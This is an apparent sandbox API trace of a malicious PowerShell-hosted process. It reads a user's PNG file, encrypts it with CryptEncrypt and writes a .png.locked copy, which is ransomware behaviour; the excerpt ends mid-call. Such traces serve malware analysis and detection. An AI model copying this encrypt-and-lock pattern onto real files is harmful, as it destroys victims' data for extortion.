[0136.630] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.630] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.630] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.630] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.631] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png")) returned 0x20 [0136.631] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png")) returned 0x20 [0136.631] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.632] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.632] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.632] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.632] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.632] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\xd81\x73eb\x82b3\x73e1\xac") returned 0x0 [0136.632] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.632] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.632] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.632] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.632] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0136.633] GetFileType (hFile=0x764) returned 0x1 [0136.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.633] GetFileType (hFile=0x764) returned 0x1 [0136.633] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.633] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0136.633] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.633] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.633] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.633] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png.locked", lpFilePart=0x0) returned 0x56 [0136.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.633] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0136.634] GetFileType (hFile=0x778) returned 0x1 [0136.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.634] GetFileType (hFile=0x778) returned 0x1 [0136.634] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.634] CryptGenRandom (in: hProv=0x4396570, dwLen=0x10, pbBuffer=0x6a4d4a0 | out: pbBuffer=0x6a4d4a0) returned 1 [0136.634] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.634] CryptDuplicateKey (in: hKey=0x8e84bb8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84fb8) returned 1 [0136.634] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.634] CryptSetKeyParam (hKey=0x8e84fb8, dwParam=0x4, pbData=0x6a4e75c*=0x1, dwFlags=0x0) returned 1 [0136.634] CryptSetKeyParam (hKey=0x8e84fb8, dwParam=0x1, pbData=0x6a4e728, dwFlags=0x0) returned 1 [0136.634] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf1f0\x437\x24a") returned 0x0 [0136.634] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.634] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.634] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.635] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.635] ReadFile (in: hFile=0x764, lpBuffer=0x6a51cb8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a51cb8*, lpNumberOfBytesRead=0x99ae7a8*=0xef9, lpOverlapped=0x0) returned 1 [0136.635] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a65cc4*, pdwDataLen=0x99ae79c*=0xef0, dwBufLen=0xef0 | out: pbData=0x6a65cc4*, pdwDataLen=0x99ae79c*=0xef0) returned 1 [0136.635] ReadFile (in: hFile=0x764, lpBuffer=0x6a51cb8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a51cb8*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0136.635] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a66bd8*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a66bd8*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0136.635] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a66c0c*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a66c0c*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0136.635] WriteFile (in: hFile=0x778, lpBuffer=0x6a4d560*, nNumberOfBytesToWrite=0xf14, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a4d560*, lpNumberOfBytesWritten=0x99ae7c8*=0xf14, lpOverlapped=0x0) returned 1 [0136.636] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.636] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.636] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.636] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.636] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.638] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png")) returned 0x20 [0136.638] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.638] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.638] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.638] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.638] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.638] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.638] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.638] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.639] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.639] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.639] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.639] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.639] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.639] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.639] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.640] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0136.640] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0136.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0136.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0136.640] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png")) returned 0x20 [0136.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0136.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png\\", lpFilePart=0x0) returned 0x50 [0136.641] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0136.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0136.641] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0136.641] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0136.641] CoTaskMemFree (pv=0x8eb8d30) [0136.642] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png")) returned 0x20 [0136.642] GetFullPathNameW (in: 